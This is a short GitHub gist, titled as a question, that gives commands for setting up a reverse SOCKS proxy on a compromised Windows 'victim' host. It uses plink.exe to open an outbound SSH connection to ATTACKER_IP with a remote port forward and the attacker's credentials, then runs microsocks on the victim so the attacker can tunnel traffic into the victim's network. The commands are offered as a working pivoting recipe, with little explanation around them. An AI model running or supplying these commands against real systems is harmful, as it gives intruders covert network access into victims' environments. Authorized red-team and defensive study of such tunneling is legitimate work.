Skip to content

Instantly share code, notes, and snippets.

@Raikia
Created March 5, 2020 20:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Raikia/42a10ac031fce4caef7c395a5658ed41 to your computer and use it in GitHub Desktop.
Save Raikia/42a10ac031fce4caef7c395a5658ed41 to your computer and use it in GitHub Desktop.
Reverse SOCKS on Windows?
ATTACKER --> VICTIM
On victim:
plink.exe ATTACKER_IP -p 22 -R 127.0.0.1:1234:VICTIM_IP:9999 -l ATTACKER_USERNAME -pw ATTACKER_PASSWORD
^ This will SSH to ATTACKER_IP and create port 1234 on ATTACKER_IP that will forward to VICTIM_IP port 9999
Then on victim again, run microsocks (https://github.com/rofl0r/microsocks, from the same guy who maintains proxychains)
microsocks -i 0.0.0.0 -p 9999
@Raikia
Copy link
Author

Raikia commented Mar 5, 2020

microsocks compilation in windows described here: rofl0r/microsocks#4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment